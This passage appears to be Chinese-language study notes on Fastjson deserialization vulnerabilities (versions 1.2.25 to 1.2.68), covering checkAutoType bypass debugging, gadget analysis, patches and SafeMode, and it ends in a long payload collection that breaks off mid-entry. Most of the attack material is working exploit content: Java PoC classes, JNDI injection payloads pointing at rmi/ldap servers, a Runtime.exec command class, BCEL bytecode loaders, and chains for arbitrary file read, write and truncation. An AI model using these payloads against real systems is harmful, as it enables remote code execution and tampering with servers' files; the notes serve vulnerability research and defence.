"data_source":"ldap://localhost:1099/Exploit"
}
}

fastjson1.2.46黑名单就加入了该类。

调试分析

可以看到相比于上个版本,这里会校验className第一个字符是否是[,h1后面有个L表示是长整型。

image-20240621191111607

校验部分肯定可以过得,因为此时黑名单还没有这个类。我们payload设置了properties这个参数,并且这个类是有setProperties方法的,且满足条件,所以会自动调用。

image-20240621191436696

这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),其中参数由我们输入的properties属性中的data_source值获取的,然后就是jndi注入的部分了。

image-20240621191946941

1.2.25-1.2.47补丁绕过(无需开启AutoType)

  • 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
  • 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import com.alibaba.fastjson.JSON;

public class EXP {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}

绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://localhost:1099/Exploit",
"autoCommit": true
}
}

{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1099/Exploit",
"autoCommit": true
}
}

绕过的大体思路是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测。因此将payload分两次发送,第一次加载,第二次执行。默认情况下,只要遇到没有加载到缓存的类,checkAutoType()就会抛出异常终止程序。

不受AutoTypeSupport影响的版本

不受AutoTypeSupport影响的版本为1.2.33-1.2.47,本次调试的是1.2.47版本。

未开启AutoTypeSupport时

第一次在调用checkAutoType的时候,由于未开启AutoTypeSupport,因此不会进入黑白名单校验的逻辑;由于@type执行java.lang.Class类,在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回

image-20240621203100768

接着调用了MiscCodec#deserialze函数。

image-20240621203411294

判断键是否为”val”,是的话就会提取val键对应的值赋给objVal变量,而objVal在后面会赋值给strVal变量

image-20240621204350838

接着判断clazz是否为Class类,是的话调用TypeUtils.loadClass()加载strVal变量值指向的类:

image-20240621204510782

在TypeUtils.loadClass()函数中,成功加载com.sun.rowset.JdbcRowSetImpl类后,就会将其缓存在Map中:

image-20240621204706910

在扫描第二部分的JSON数据时,由于前面第一部分JSON数据中的val键值”com.sun.rowset.JdbcRowSetImpl”已经缓存到Map中了,所以当此时调用TypeUtils.getClassFromMapping()时能够成功从Map中获取到缓存的类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测

image-20240621205927034

开启AutoTypeSupport时

在第一部分JSON数据的扫描解析中,由于@type指向java.lang.Class,因此即使是开启AutoTypeSupport先后进行白名单、黑名单校验的情况下都能成功通过检测,之后和前面的一样调用findClass()函数获取到Class类:

关键在于第二部分JSON数据的扫描解析。第二部分的@type指向的是利用类com.sun.rowset.JdbcRowSetImpl,其中的”com.sun.”是在denyList黑名单中的,但是为何在检测时能成功绕过呢?

我们调试发现,逻辑是先进行白名单再进行黑名单校验,在黑名单校验的if判断条件中是存在两个必须同时满足的条件的:

1
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {

第一个判断条件Arrays.binarySearch(denyHashCodes, hash) >= 0是满足的,因为我们的@type包含了黑名单的内容;关键在于第二个判断条件TypeUtils.getClassFromMapping(typeName) == null,这里由于前面已经将com.sun.rowset.JdbcRowSetImpl类缓存在Map中了,也就是说该条件并不满足,导致能够成功绕过黑名单校验、成功触发漏洞。

image-20240621210325105

受AutoTypeSupport影响的版本

受AutoTypeSupport影响的版本为1.2.25-1.2.32,本次调试的是1.2.25版本。

未开启AutoTypeSupport时

与前面分析差不多

开启AutoTypeSupport时

少了个判断条件,即TypeUtils.getClassFromMapping(typeName) == null,从而无法绕过黑名单检测,导致检测到com.sun.rowset.JdbcRowSetImpl这个黑名单中的类抛出异常。

image-20240621210940647

修复

将下面的true改成false,防止将com.sun.rowset.JdbcRowSetImpl添加进map缓存里。从而无法使用TypeUtils.getClassFromMapping()来加载

image-20240622035455611

image-20240622035621233

1.2.5 - 1.2.61 通杀

Fastjson1.2.5 <= 1.2.59

需要开启AutoType

1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1099/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1099/Exploit"}

Fastjson1.2.5 <= 1.2.60

需要开启 autoType:

1
2
3
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://127.0.0.1:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://127.0.0.1:1099/ExportObject"}

Fastjson1.2.5 <= 1.2.61

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1099/Exploit","Object":"a"}

1.2.62反序列化漏洞(黑名单绕过)

漏洞原理

新Gadget绕过黑名单限制。

org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞,可由其构造函数处触发利用。

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP {
public static void main(String[] argv){
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://localhost:1099/Exploit\"}";
JSON.parse(payload);
}
}

payload

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://localhost:1099/Exploit"}

前提条件

  • 需要开启AutoType;
  • Fastjson <= 1.2.62;
  • JNDI注入利用所受的JDK版本限制;
  • 目标服务端需要存在xbean-reflect包;

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>
</dependencies>

调试分析

未开启AutoTypeSupport时(无法触发漏洞)

因为是未开启AutoTypeSupport,先黑名单检测,再白名单检测。前面先进行一些检查,比如之前版本绕过检测的[等字符,会检查一遍。然后950行不会进去,因为我们没有开启AutoTypeSupport

image-20240622044843596

接着会尝试一系列方法进行类加载,从Mapping缓存中加载,调用findClass()来加载,从typeMapping中获取,判断是在internalWhite即内部哈希白名单中,则直接加载。这些加载全都失败,clazz任然为null。

image-20240622044956115

接着黑白名单校验,这个类这个fastjson版本不在黑名单中,所以不会被拦截,当然也不再白名单,任然无法加载

image-20240622045233340

接下来会对其是否开启AutoType、是否注解JsonType、是否设置expectClass来进行判断,如果判断通过,就会判断是否开启AutoType或是否注解JsonType,是的话就会在加载clazz后将其缓存到Mappings中,这正是1.2.47的利用点,也就是说,只要开启了AutoType或者注解了JsonType的话,在这段代码逻辑中就会把clazz缓存到Mappings中,但我们JsonType为false,AutoType也没有开启,无法缓存。

image-20240622045604515

然后抛出异常,所以未开启AutoTypeSupport时,无法触发漏洞。

image-20240622050004619

开启AutoTypeSupport时(触发漏洞)

前面部分和之前差不多,来到关键部分,因为这次开启了AutoTypeSupport,所以可以进入TypeUtils#loadClass函数加载该类。

image-20240622050206524

通过AppClassLoader类加载器成功加载恶意类,且由于前面开启AutoType的缘故、cacheClass为true进而开启了cache缓存、使得恶意类缓存到了Mapping中,最后返回加载的类,之后跟之前调试第一条链差不多,反序列化该类,触发构造函数,getter或setter方法。

image-20240622050319340

Gadget分析

就两个方法,那调用的只能是无参构造函数了,并且调用了父类的有参构造函数。

image-20240622051053200

我们PoC中的AsText属性在JndiConverter类中并没有重写该属性的setter方法,但却调用了父类的AbstractConverter类的setAsText()函数来进行setter设置。并且为什么可以确认是这个属性呢,我们的走到jndi的lookup方法,这个方法在toObjectImpl方法里,可以直接找哪里调用了toObjectImpl方法也可以顺着一路找到setAsText()函数。

image-20240622052052313

1.2.66反序列化漏洞(黑名单绕过

原理都大差不差,cv了一下mi1k7ea的文章作为笔记

漏洞原理

新Gadget绕过黑名单限制。

1.2.66涉及多条Gadget链,原理都是存在JDNI注入漏洞。

org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:

1
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1099/Exploit"], "Realms":[""]}

br.com.anteros.dbcp.AnterosDBCPConfig类PoC:

1
2
3
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1099/Exploit"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1099/Exploit"}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:

1
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1099/Exploit"}}

前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.66;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.shiro.jndi.JndiObjectFactory类需要包;
  • br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包;

漏洞复现

漏洞代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1099/Exploit\"], \"Realms\":[\"\"]}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1099/Exploit\"}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1099/Exploit\"}";
// String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
// "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1099/Exploit\"}}";
JSON.parse(poc);
}
}

1.2.67反序列化漏洞(黑名单绕过)

漏洞原理

新Gadget绕过黑名单限制。

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC:

1
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1099/Exploit"], "tm": {"$ref":"$.tm"}}

org.apache.shiro.jndi.JndiObjectFactory类PoC:

1
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1099/Exploit","instance":{"$ref":"$.instance"}}

前提条件

  • 开启AutoType;
  • Fastjson <= 1.2.67;
  • JNDI注入利用所受的JDK版本限制;
  • org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖;
  • org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖;

漏洞复现

漏洞代码示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://localhost:1099/Exploit\"], \"tm\": {\"$ref\":\"$.tm\"}}";
String poc = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://localhost:1099/Exploit\",\"instance\":{\"$ref\":\"$.instance\"}}";
JSON.parse(poc);
}
}

1.2.68反序列化漏洞(expectClass绕过AutoType)

前提条件

  • Fastjson <= 1.2.68;
  • 利用类必须是expectClass类的子类或实现类,并且不在黑名单中;

漏洞原理

本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass,可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()函数执行恶意操作。

简单地说,本次绕过checkAutoType()函数的攻击步骤为:

  1. 先传入某个类,其加载成功后将作为expectClass参数传入checkAutoType()函数;
  2. 查找expectClass类的子类或实现类,如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用;

漏洞复现

简单地验证利用expectClass绕过的可行性,先假设Fastjson服务端存在如下实现AutoCloseable接口类的恶意类VulAutoCloseable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void close() throws Exception {

}
}

构造EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class EXP {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.VulAutoCloseable\",\"cmd\":\"calc\"}\n";
JSON.parse(poc);
}
}

payload

1
{"@type":"java.lang.AutoCloseable","@type":"org.example.VulAutoCloseable","cmd":"calc"}

无需开启AutoType,直接成功绕过CheckAutoType()的检测从而触发执行:

调试分析

直接进checkAutoType函数,我们可以直接从mappings缓存中找到指定的java.lang.AutoCloseable类,

image-20240622235932240

image-20240623000037832

往下就是判断clazz是否不是expectClass类的继承类且不是HashMap类型,是的话抛出异常,否则直接返回该类。这里没有expectClass就直接返回java.lang.AutoCloseable

image-20240623000121534

接着获取java.lang.AutoCloseable这个类的反序列化器,然后调用其deserialze方法开始反序列化。即JavaBeanDeserializer#deserialze

image-20240623000229903

往下的逻辑,就是根据给定的 typeName 获取一个对象反序列化器(ObjectDeserializer),如果该反序列化器不存在,则尝试根据类型信息和配置自动确定一个合适的反序列化器。调用配置对象的 checkAutoType 方法检查和自动确定给定类型名(typeName)是否允许并返回具体的用户类型。expectClass 是期望的类,lexer.getFeatures() 是一些特征或配置选项。

image-20240623000354413

往下,由于java.lang.AutoCloseable类并非其中黑名单中的类,因此expectClassFlag被设置为true

image-20240623002351962

往下,由于expectClassFlag为true且目标类不在内部白名单中,程序进入AutoType开启时的检测逻辑

image-20240623002712935

由于vul.VulAutoCloseable类不在黑白名单中,因此这段能通过检测并继续往下执行。

往下,未加载成功目标类,就会进入AutoType关闭时的检测逻辑,和上同理,这段能通过检测并继续往下执行

由于expectClassFlag为true,进入如下的loadClass()逻辑来加载目标类,但是由于AutoType关闭且jsonType为false,因此调用loadClass()函数的时候是不开启cache即缓存的

image-20240623002958623

跟进,使用了AppClassLoader加载vul.VulAutoCloseable类并直接返回加载的类。

image-20240623003054223

往下,判断是否jsonType、true的话直接添加Mapping缓存并返回类,否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类,是的话直接抛出异常,这也是过滤大多数JNDI注入Gadget的机制。如果expectClass不为null,则判断目标类是否是expectClass类的子类,是的话就添加到Mapping缓存中并直接返回该目标类,否则直接抛出异常导致利用失败,这里就解释了为什么恶意类必须要继承AutoCloseable接口类,因为这里expectClass为AutoCloseable类、因此恶意类必须是AutoCloseable类的子类才能通过这里的判断

image-20240623003222449

checkAutoType()调用完返回类之后,就进行反序列化操作、新建恶意类实例进而调用其构造函数从而成功触发漏洞

小结:当传入checkAutoType()函数的expectClass参数不为null,并且需要加载的目标类是expectClass类的子类或者实现类时(不在黑名单中),就将需要加载的目标类当做是正常的类然后通过调用TypeUtils.loadClass()函数进行加载。

实战利用

前面漏洞复现只是简单地验证绕过方法的可行性,在实际的攻击利用中,是需要我们去寻找实际可行的利用类的。

b1ue大佬文章中提出可以寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现自AutoCloseable接口的。

复制文件(任意文件读取漏洞)

利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream

依赖:

1
2
3
4
5
<dependency>  
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>

SafeFileOutputStream(java.lang.String, java.lang.String)构造函数判断了如果targetPath文件不存在且tempPath文件存在,就会把tempPath复制到targetPath中,可以利用造成任意文件读取。

image-20240623012122118

1
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"D:/wamp64/www/win.txt"}

写入文件

写内容类:com.esotericsoftware.kryo.io.Output

依赖:

1
2
3
4
5
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>

Output类主要用来写内容,它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流,其中buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public void flush() throws KryoException {
if (this.outputStream != null) {
try {
this.outputStream.write(this.buffer, 0, this.position);
this.outputStream.flush();
} catch (IOException var2) {
throw new KryoException(var2);
}

this.total += (long)this.position;
this.position = 0;
}
}

接着,就是要看怎么触发Output类flush()函数了,flush()函数只有在close()和require()函数被调用时才会触发,其中require()函数在调用write相关函数时会被触发。

其中,找到JDK的ObjectOutputStream类,其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量,而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数,满足前面的需求,对于setBlockDataMode()函数的调用,在ObjectOutputStream类的有参构造函数中就存在。

但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数,因此只能找ObjectOutputStream的继承类来触发了。

只有有参构造函数的ObjectOutputStream继承类:com.sleepycat.bind.serial.SerialOutput

SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数,这就满足了前面的条件了。

依赖:

1
2
3
4
5
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

PoC如下,用到了Fastjson循环引用的技巧来调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "D:/wamp64/www/hacked.txt",
"tempPath": "D:/wamp64/www/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cHduZWQ=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

补丁分析

看GitHub官方的diff,主要在ParserConfig.java中:https://github.com/alibaba/fastjson/compare/1.2.68%E2%80%A61.2.69#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4

在expectClass的判断逻辑中,对类名进行了Hash处理再比较哈希黑名单,并且添加了三个类

网上已经有了利用彩虹表碰撞的方式得到的新添加的三个类分别为:

版本 十进制Hash值 十六进制Hash值 类名
1.2.69 5183404141909004468L 0x47ef269aadc650b4L java.lang.Runnable
1.2.69 2980334044947851925L 0x295c4605fd1eaa95L java.lang.Readable
1.2.69 -1368967840069965882L 0xed007300a7b227c6L java.lang.AutoCloseable

这就简单粗暴地防住了这几个类导致的绕过问题了。

SafeMode

官方参考:https://github.com/alibaba/fastjson/wiki/fastjson_safemode

在1.2.68之后的版本,在1.2.68版本中,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。所有的安全修复版本sec10也支持SafeMode配置。

代码中设置开启SafeMode如下:

1
ParserConfig.getGlobalInstance().setSafeMode(true);

开启之后,就完全禁用AutoType即@type了,这样就能防御住Fastjson反序列化漏洞了。

具体的处理逻辑,是放在checkAutoType()函数中的前面,获取是否设置了SafeMode,如果是则直接抛出异常终止运行

payload

JdbcRowSetImpl

1
2
3
4
5
6
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}

TemplatesImpl

1
2
3
4
5
6
7
8
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgA...k="],
'_name': 'su18',
'_tfactory': {},
"_outputProperties": {},
}

JndiDataSourceFactory

1
2
3
4
5
6
7
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}

SimpleJndiBeanFactory

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}

DefaultBeanFactoryPointcutAdvisor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

1
2
3
4
5
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}

JndiRefForwardingDataSource

1
2
3
4
5
6
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}

InetAddress

1
2
3
4
5
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}

Inet6Address

1
2
3
4
5
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}

URL

1
2
3
4
5
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}

JSONObject

1
2
3
4
5
6
7
8
9
10
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}

URLReader

1
2
3
4
5
6
7
8
9
10
11
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}

BasicDataSource

1
2
3
4
5
6
7
8
9
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}

JndiConverter

1
2
3
4
5
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}

JtaTransactionConfig

1
2
3
4
5
6
7
8
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}

JndiObjectFactory

1
2
3
4
5
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig

1
2
3
4
5
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig2

1
2
3
4
5
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

CacheJndiTmLookup

1
2
3
4
5
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
7
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
7
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}

AutoCloseable MarshalOutputStream 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
'@type': "java.lang.AutoCloseable",
'@type': 'sun.rmi.server.MarshalOutputStream',
'out': {
'@type': 'java.util.zip.InflaterOutputStream',
'out': {
'@type': 'java.io.FileOutputStream',
'file': 'dst',
'append': false
},
'infl': {
'input': {
'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit': 22
}
},
'bufLen': 1048576
},
'protocolVersion': 1
}

BasicDataSource

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}

HikariConfig

1
2
3
4
5
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
5
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
5
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
5
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

SessionBeanProvider

1
2
3
4
5
6
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}

JMSContentInterceptor

1
2
3
4
5
6
7
8
9
10
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}

ContextClassLoaderSwitcher

1
2
3
4
5
6
7
8
9
10
{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}

OracleManagedConnectionFactory

1
2
3
4
5
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

JNDIConfiguration

1
2
3
4
5
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}

JDBC4Connection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "172.20.64.40",
"portToConnectTo": 3306,
"url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo": "test",
"info": {
"@type": "java.util.Properties",
"PORT": "3306",
